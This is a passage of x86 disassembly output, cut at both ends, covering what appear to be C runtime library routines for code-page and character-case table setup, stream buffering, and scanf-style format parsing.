loc_420499: ; CODE XREF: sub_420480+9j
push ecx
push [ebp+arg_0]
call sub_41FC2A
pop ecx
pop ecx
loc_4204A4: ; CODE XREF: sub_420480+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4204B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4204B1: ; CODE XREF: sub_420480+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420480 endp
; =============== S U B R O U T I N E =======================================
sub_4204B5 proc near ; CODE XREF: sub_41FD3F+65Ap
; sub_41FD3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4204E3
mov esi, [esp+8+arg_C]
loc_4204C6: ; CODE XREF: sub_4204B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420480
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4204E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4204C6
loc_4204E3: ; CODE XREF: sub_4204B5+Bj
; sub_4204B5+25j
pop edi
pop esi
retn
sub_4204B5 endp
; =============== S U B R O U T I N E =======================================
sub_4204E6 proc near ; CODE XREF: sub_41FD3F+670p
; sub_41FD3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42051A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4204FC: ; CODE XREF: sub_4204E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420480
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42051A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4204FC
loc_42051A: ; CODE XREF: sub_4204E6+Cj
; sub_4204E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4204E6 endp
; =============== S U B R O U T I N E =======================================
sub_42051E proc near ; CODE XREF: sub_41FD3F+E5p
; sub_41FD3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42051E endp
; =============== S U B R O U T I N E =======================================
sub_42052B proc near ; CODE XREF: sub_41FD3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42052B endp
; =============== S U B R O U T I N E =======================================
sub_42053B proc near ; CODE XREF: sub_41FD3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42053B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420549 proc near ; CODE XREF: sub_42090D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4206E2 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4DFA24
mov [ebp+arg_0], esi
jz loc_4206D6
xor ebx, ebx
cmp esi, ebx
jz loc_4206CC
xor edx, edx
mov eax, offset dword_43F840
loc_42057D: ; CODE XREF: sub_420549+41j
cmp [eax], esi
jz short loc_4205F3
add eax, 30h
inc edx
cmp eax, offset dword_43F930
jl short loc_42057D
lea eax, [ebp+var_18]
push eax
push esi
call dword_428068 ; GetCPInfo
cmp eax, 1
jnz loc_4206C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DFB40
cmp [ebp+var_18], 1
mov dword_4DFA24, esi
rep stosd
stosb
mov dword_4DFC44, ebx
jbe loc_4206B2
cmp [ebp+var_12], 0
jz loc_420688
lea ecx, [ebp+var_11]
loc_4205D0: ; CODE XREF: sub_420549+139j
mov dl, [ecx]
test dl, dl
jz loc_420688
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4205E1: ; CODE XREF: sub_420549+A8j
cmp eax, edx
ja loc_42067C
or byte_4DFB41[eax], 4
inc eax
jmp short loc_4205E1
; ---------------------------------------------------------------------------
loc_4205F3: ; CODE XREF: sub_420549+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DFB40
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43F850[esi]
loc_42060F: ; CODE XREF: sub_420549+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420642
loc_420616: ; CODE XREF: sub_420549+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420642
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42063B
mov edx, [ebp+var_4]
mov dl, byte_43F838[edx]
loc_420630: ; CODE XREF: sub_420549+F0j
or byte_4DFB41[eax], dl
inc eax
cmp eax, edi
jbe short loc_420630
loc_42063B: ; CODE XREF: sub_420549+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420616
loc_420642: ; CODE XREF: sub_420549+CBj
; sub_420549+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42060F
mov eax, [ebp+arg_0]
mov dword_4DFA3C, 1
push eax
mov dword_4DFA24, eax
call sub_42072C
lea esi, dword_43F844[esi]
mov edi, offset dword_4DFA30
movsd
movsd
pop ecx
mov dword_4DFC44, eax
movsd
jmp short loc_4206D1
; ---------------------------------------------------------------------------
loc_42067C: ; CODE XREF: sub_420549+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4205D0
loc_420688: ; CODE XREF: sub_420549+7Ej
; sub_420549+8Bj
push 1
pop eax
loc_42068B: ; CODE XREF: sub_420549+14Fj
or byte_4DFB41[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42068B
push esi
call sub_42072C
pop ecx
mov dword_4DFC44, eax
mov dword_4DFA3C, 1
jmp short loc_4206B8
; ---------------------------------------------------------------------------
loc_4206B2: ; CODE XREF: sub_420549+74j
mov dword_4DFA3C, ebx
loc_4206B8: ; CODE XREF: sub_420549+167j
xor eax, eax
mov edi, offset dword_4DFA30
stosd
stosd
stosd
jmp short loc_4206D1
; ---------------------------------------------------------------------------
loc_4206C4: ; CODE XREF: sub_420549+51j
cmp dword_4DE650, ebx
jz short loc_4206DA
loc_4206CC: ; CODE XREF: sub_420549+27j
call sub_42075F
loc_4206D1: ; CODE XREF: sub_420549+131j
; sub_420549+179j
call sub_420788
loc_4206D6: ; CODE XREF: sub_420549+1Dj
xor eax, eax
jmp short loc_4206DD
; ---------------------------------------------------------------------------
loc_4206DA: ; CODE XREF: sub_420549+181j
or eax, 0FFFFFFFFh
loc_4206DD: ; CODE XREF: sub_420549+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420549 endp
; =============== S U B R O U T I N E =======================================
sub_4206E2 proc near ; CODE XREF: sub_420549+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DE650, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420702
mov dword_4DE650, 1
jmp dword_428060
; ---------------------------------------------------------------------------
loc_420702: ; CODE XREF: sub_4206E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420717
mov dword_4DE650, 1
jmp dword_428064
; ---------------------------------------------------------------------------
loc_420717: ; CODE XREF: sub_4206E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42072B
mov eax, dword_4DE694
mov dword_4DE650, 1
locret_42072B: ; CODE XREF: sub_4206E2+38j
retn
sub_4206E2 endp
; =============== S U B R O U T I N E =======================================
sub_42072C proc near ; CODE XREF: sub_420549+118p
; sub_420549+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420759
sub eax, 4
jz short loc_420753
sub eax, 0Dh
jz short loc_42074D
dec eax
jz short loc_420747
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420747: ; CODE XREF: sub_42072C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42074D: ; CODE XREF: sub_42072C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420753: ; CODE XREF: sub_42072C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420759: ; CODE XREF: sub_42072C+9j
mov eax, 411h
retn
sub_42072C endp
; =============== S U B R O U T I N E =======================================
sub_42075F proc near ; CODE XREF: sub_420549:loc_4206CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DFB40
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DFA30
mov dword_4DFA24, eax
mov dword_4DFA3C, eax
mov dword_4DFC44, eax
stosd
stosd
stosd
pop edi
retn
sub_42075F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420788 proc near ; CODE XREF: sub_420549:loc_4206D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DFA24
call dword_428068 ; GetCPInfo
cmp eax, 1
jnz loc_4208C1
xor eax, eax
mov esi, 100h
loc_4207B2: ; CODE XREF: sub_420788+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4207B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420803
push ebx
push edi
lea edx, [ebp+var_D]
loc_4207D1: ; CODE XREF: sub_420788+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4207F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4207F8: ; CODE XREF: sub_420788+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4207D1
pop edi
pop ebx
loc_420803: ; CODE XREF: sub_420788+42j
push 0
lea eax, [ebp+var_514]
push dword_4DFC44
push dword_4DFA24
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4243B4
push 0
lea eax, [ebp+var_214]
push dword_4DFA24
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DFC44
call sub_42316A
push 0
lea eax, [ebp+var_314]
push dword_4DFA24
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DFC44
call sub_42316A
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_42087E: ; CODE XREF: sub_420788+135j
mov dx, [ecx]
test dl, 1
jz short loc_42089C
or byte_4DFB41[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420894: ; CODE XREF: sub_420788+127j
mov byte_4DFA40[eax], dl
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_42089C: ; CODE XREF: sub_420788+FCj
test dl, 2
jz short loc_4208B1
or byte_4DFB41[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420894
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420788+117j
and byte_4DFA40[eax], 0
loc_4208B8: ; CODE XREF: sub_420788+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_42087E
jmp short loc_42090A
; ---------------------------------------------------------------------------
loc_4208C1: ; CODE XREF: sub_420788+1Dj
xor eax, eax
mov esi, 100h
loc_4208C8: ; CODE XREF: sub_420788+180j
cmp eax, 41h
jb short loc_4208E6
cmp eax, 5Ah
ja short loc_4208E6
or byte_4DFB41[eax], 10h
mov cl, al
add cl, 20h
loc_4208DE: ; CODE XREF: sub_420788+174j
mov byte_4DFA40[eax], cl
jmp short loc_420905
; ---------------------------------------------------------------------------
loc_4208E6: ; CODE XREF: sub_420788+143j
; sub_420788+148j
cmp eax, 61h
jb short loc_4208FE
cmp eax, 7Ah
ja short loc_4208FE
or byte_4DFB41[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_4208DE
; ---------------------------------------------------------------------------
loc_4208FE: ; CODE XREF: sub_420788+161j
; sub_420788+166j
and byte_4DFA40[eax], 0
loc_420905: ; CODE XREF: sub_420788+15Cj
inc eax
cmp eax, esi
jb short loc_4208C8
loc_42090A: ; CODE XREF: sub_420788+137j
pop esi
leave
retn
sub_420788 endp
; =============== S U B R O U T I N E =======================================
sub_42090D proc near ; CODE XREF: sub_42353D+9p
; sub_423595+Dp ...
cmp dword_4DFC74, 0
jnz short locret_420928
push 0FFFFFFFDh
call sub_420549
pop ecx
mov dword_4DFC74, 1
locret_420928: ; CODE XREF: sub_42090D+7j
retn
sub_42090D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420929 proc near ; CODE XREF: sub_41C041+2Bp
; sub_41C041+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DFA3C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_42094D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BC60
add esp, 0Ch
jmp short loc_4209B0
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_420929+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420992
mov ecx, [ebp+arg_4]
loc_420958: ; CODE XREF: sub_420929+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DFB41[esi], 4
mov [edi], al
jz short loc_42097C
inc edi
inc ecx
test edx, edx
jz short loc_420988
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_42098E
jmp short loc_420982
; ---------------------------------------------------------------------------
loc_42097C: ; CODE XREF: sub_420929+3Ej
inc edi
inc ecx
test al, al
jz short loc_420992
loc_420982: ; CODE XREF: sub_420929+51j
test edx, edx
jnz short loc_420958
jmp short loc_420992
; ---------------------------------------------------------------------------
loc_420988: ; CODE XREF: sub_420929+44j
and byte ptr [edi-1], 0
jmp short loc_420992
; ---------------------------------------------------------------------------
loc_42098E: ; CODE XREF: sub_420929+4Fj
and byte ptr [edi-2], 0
loc_420992: ; CODE XREF: sub_420929+2Aj
; sub_420929+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_4209AD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_4209AD: ; CODE XREF: sub_420929+6Fj
mov eax, [ebp+arg_0]
loc_4209B0: ; CODE XREF: sub_420929+22j
pop edi
pop ebp
retn
sub_420929 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4209B3 proc near ; CODE XREF: sub_41C22D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE684, 0
push ebx
jnz short loc_4209DE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420A7C
cmp eax, 7Ah
jg loc_420A7C
sub eax, 20h
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209DE: ; CODE XREF: sub_4209B3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420A11
cmp dword_43F824, 1
jle short loc_4209FE
push 2
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420A09
; ---------------------------------------------------------------------------
loc_4209FE: ; CODE XREF: sub_4209B3+3Dj
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 2
loc_420A09: ; CODE XREF: sub_4209B3+49j
test eax, eax
jnz short loc_420A11
loc_420A0D: ; CODE XREF: sub_4209B3+AFj
mov eax, ebx
jmp short loc_420A7C
; ---------------------------------------------------------------------------
loc_420A11: ; CODE XREF: sub_4209B3+34j
; sub_4209B3+58j
mov edx, off_43F618
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420A34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420A3D
; ---------------------------------------------------------------------------
loc_420A34: ; CODE XREF: sub_4209B3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420A3D: ; CODE XREF: sub_4209B3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DE684
call sub_42316A
add esp, 20h
test eax, eax
jz short loc_420A0D
cmp eax, 1
jnz short loc_420A6F
movzx eax, [ebp+var_4]
jmp short loc_420A7C
; ---------------------------------------------------------------------------
loc_420A6F: ; CODE XREF: sub_4209B3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420A7C: ; CODE XREF: sub_4209B3+14j
; sub_4209B3+1Dj ...
pop ebx
leave
retn
sub_4209B3 endp
; =============== S U B R O U T I N E =======================================
sub_420A7F proc near ; CODE XREF: sub_41C44C+1Dp
; sub_41DA5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DE5C8, ecx
mov eax, offset dword_43F930
loc_420A90: ; CODE XREF: sub_420A7F+1Ej
cmp ecx, [eax]
jz short loc_420AB4
add eax, 8
inc edx
cmp eax, offset dword_43FA98
jl short loc_420A90
cmp ecx, 13h
jb short loc_420AC1
cmp ecx, 24h
ja short loc_420AC1
mov dword_4DE5C4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420AB4: ; CODE XREF: sub_420A7F+13j
mov eax, dword_43F934[edx*8]
mov dword_4DE5C4, eax
retn
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420A7F+23j
; sub_420A7F+28j
cmp ecx, 0BCh
jb short loc_420ADB
cmp ecx, 0CAh
mov dword_4DE5C4, 8
jbe short locret_420AE5
loc_420ADB: ; CODE XREF: sub_420A7F+48j
mov dword_4DE5C4, 16h
locret_420AE5: ; CODE XREF: sub_420A7F+5Aj
retn
sub_420A7F endp
; =============== S U B R O U T I N E =======================================
sub_420AE6 proc near ; CODE XREF: sub_41C476+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_4244FD
test eax, eax
pop ecx
jz short loc_420B6F
cmp esi, offset dword_43FD28
jnz short loc_420B04
xor eax, eax
jmp short loc_420B0F
; ---------------------------------------------------------------------------
loc_420B04: ; CODE XREF: sub_420AE6+18j
cmp esi, offset dword_43FD48
jnz short loc_420B6F
push 1
pop eax
loc_420B0F: ; CODE XREF: sub_420AE6+1Cj
inc dword_4DE7B0
test word ptr [esi+0Ch], 10Ch
jnz short loc_420B6F
cmp dword_4DE654[eax*4], 0
push ebx
push edi
lea edi, ds:4DE654h[eax*4]
mov ebx, 1000h
jnz short loc_420B55
push ebx
call sub_41BB45
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420B55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420B62
; ---------------------------------------------------------------------------
loc_420B55: ; CODE XREF: sub_420AE6+4Dj
; sub_420AE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420B62: ; CODE XREF: sub_420AE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420B6F: ; CODE XREF: sub_420AE6+10j
; sub_420AE6+24j ...
xor eax, eax
pop esi
retn
sub_420AE6 endp
; =============== S U B R O U T I N E =======================================
sub_420B73 proc near ; CODE XREF: sub_41C476+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420B9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420BAE
push esi
call sub_41E22B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420B9D: ; CODE XREF: sub_420B73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420BAE
push eax
call sub_41E22B
pop ecx
loc_420BAE: ; CODE XREF: sub_420B73+10j
; sub_420B73+32j
pop esi
retn
sub_420B73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB0 proc near ; CODE XREF: sub_41C973+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4215B6
mov edi, [ebp+arg_0]
jmp short loc_420BDF
; ---------------------------------------------------------------------------
loc_420BDA: ; CODE XREF: sub_420BB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420BDF: ; CODE XREF: sub_420BB0+28j
cmp dword_43F824, 1
jle short loc_420BF7
movzx eax, al
push 8
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420C06
; ---------------------------------------------------------------------------
loc_420BF7: ; CODE XREF: sub_420BB0+36j
mov ecx, off_43F618
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420C06: ; CODE XREF: sub_420BB0+45j
cmp eax, ebx
jz short loc_420C40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42163D
pop ecx
pop ecx
push eax
call sub_421626
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DD10
add esp, 0Ch
loc_420C2E: ; CODE XREF: sub_420BB0+8Ej
test eax, eax
jz short loc_420C40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DD10
pop ecx
jmp short loc_420C2E
; ---------------------------------------------------------------------------
loc_420C40: ; CODE XREF: sub_420BB0+58j
; sub_420BB0+80j
cmp byte ptr [esi], 25h
jnz loc_421522
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420C77: ; CODE XREF: sub_420BB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43F824, 1
jle short loc_420C94
movzx eax, bl
push 4
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420CA3
; ---------------------------------------------------------------------------
loc_420C94: ; CODE XREF: sub_420BB0+D3j
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420CA3: ; CODE XREF: sub_420BB0+E2j
test eax, eax
jz short loc_420CB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420CB9: ; CODE XREF: sub_420BB0+F5j
cmp ebx, 4Eh
jg short loc_420CFC
jz short loc_420D1E
cmp ebx, 2Ah
jz short loc_420CF7
cmp ebx, 46h
jz short loc_420D1E
cmp ebx, 49h
jz short loc_420CD9
cmp ebx, 4Ch
jnz short loc_420D0B
inc [ebp+var_D]
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420CD9: ; CODE XREF: sub_420BB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420D0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420D0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420CF7: ; CODE XREF: sub_420BB0+113j
inc [ebp+var_E]
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420CFC: ; CODE XREF: sub_420BB0+10Cj
cmp ebx, 68h
jz short loc_420D18
cmp ebx, 6Ch
jz short loc_420D10
cmp ebx, 77h
jz short loc_420D13
loc_420D0B: ; CODE XREF: sub_420BB0+122j
; sub_420BB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420D10: ; CODE XREF: sub_420BB0+154j
inc [ebp+var_D]
loc_420D13: ; CODE XREF: sub_420BB0+159j
inc [ebp+var_5]
jmp short loc_420D1E
; ---------------------------------------------------------------------------
loc_420D18: ; CODE XREF: sub_420BB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420D1E: ; CODE XREF: sub_420BB0+107j
; sub_420BB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420C77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420D43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420D43: ; CODE XREF: sub_420BB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420D61
mov al, [esi]
cmp al, 53h
jz short loc_420D5D
cmp al, 43h
jz short loc_420D5D
or [ebp+var_5], 0FFh
jmp short loc_420D61
; ---------------------------------------------------------------------------
loc_420D5D: ; CODE XREF: sub_420BB0+1A1j
; sub_420BB0+1A5j
mov [ebp+var_5], 1
loc_420D61: ; CODE XREF: sub_420BB0+19Bj
; sub_420BB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420D9A
cmp esi, 63h
jz short loc_420D8B
cmp esi, 7Bh
jz short loc_420D8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42163D
pop ecx
jmp short loc_420D96
; ---------------------------------------------------------------------------
loc_420D8B: ; CODE XREF: sub_420BB0+1C5j
; sub_420BB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
loc_420D96: ; CODE XREF: sub_420BB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420D9A: ; CODE XREF: sub_420BB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420DAA
cmp [ebp+var_C], eax
jz loc_421586
loc_420DAA: ; CODE XREF: sub_420BB0+1EFj
cmp esi, 6Fh
jg loc_421011
jz loc_4212C3
cmp esi, 63h
jz loc_420FEE
cmp esi, 64h
jz loc_4212C3
jle loc_42103B
cmp esi, 67h
jle short loc_420E0E
cmp esi, 69h
jz short loc_420DF6
cmp esi, 6Eh
jnz loc_42103B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4214F1
jmp loc_421517
; ---------------------------------------------------------------------------
loc_420DF6: ; CODE XREF: sub_420BB0+229j
push 64h
pop esi
loc_420DF9: ; CODE XREF: sub_420BB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421083
mov [ebp+var_17], 1
jmp loc_421088
; ---------------------------------------------------------------------------
loc_420E0E: ; CODE XREF: sub_420BB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_420E2A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_420E2F
; ---------------------------------------------------------------------------
loc_420E2A: ; CODE XREF: sub_420BB0+26Aj
cmp ebx, 2Bh
jnz short loc_420E46
loc_420E2F: ; CODE XREF: sub_420BB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420E49
; ---------------------------------------------------------------------------
loc_420E46: ; CODE XREF: sub_420BB0+27Dj
mov edi, [ebp+arg_0]
loc_420E49: ; CODE XREF: sub_420BB0+294j
cmp [ebp+var_20], 0
jz short loc_420E58
cmp [ebp+var_C], 15Dh
jle short loc_420E5F
loc_420E58: ; CODE XREF: sub_420BB0+29Dj
mov [ebp+var_C], 15Dh
loc_420E5F: ; CODE XREF: sub_420BB0+2A6j
; sub_420BB0+2F2j
cmp dword_43F824, 1
